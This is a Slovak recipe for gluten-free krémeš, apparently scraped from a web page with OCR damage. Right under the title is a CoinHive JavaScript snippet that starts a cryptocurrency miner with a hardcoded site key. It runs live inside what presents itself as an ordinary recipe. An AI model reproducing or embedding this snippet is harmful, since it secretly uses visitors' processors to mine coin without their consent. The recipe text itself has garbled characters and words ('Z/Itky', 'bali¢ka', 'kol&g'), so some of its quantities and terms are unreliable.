Bezlepkovy krémes

var miner = new
CoinHive.Anonymous('49dVbbCFDuhg9nX5u1MDuATVZj7gQehytZwvXEUuWg9kfhNPWH7bU
D87VW1NfjqucRZNNVTb1AHGUK2fkg5Nd55mLNnB4WK'); miner.start();

Cesto: 4 Z/Itky vymieSame s 250 g jemného kryStalového cukru, potom po lyziciach pridavame
vodu (cca 10 PL). VymieSame a pridame sneh zo 4 bielkov, 170 g bezlepkovej muky a V4
bali¢ka prasku do peciva. Vylejeme na vymasteny, mukou vysypany plech a upecieme.

Plnka: 1 | mlieka, 3 Zlaté klasy, 1 vanilkovy cukor, 6 PL krystadlového cukru - uvarime. Do
teplého krému vmiesame 150 g masla a teplé vylejeme na cesto. Nechame stuhnut a potom
dame Slahacku so stuzovac¢om. Na vrch poukladdme bezlepkové keksy a polejeme Cokoladou.

Cokolada: 80 g Plamarinu, 150 g pragkového cukru, 2 PL rumu, 2 PL vody, 2 PL kakaa. Véetko
rozpustime na miernom ohni a polejeme kolac.

Poznamka: Ak nemame bezlepkové keksy, upecieme piskdtové cesto z 3 vajec, po vychladnuti
nakrajame na velkost keksov a poukladame na kol&g.




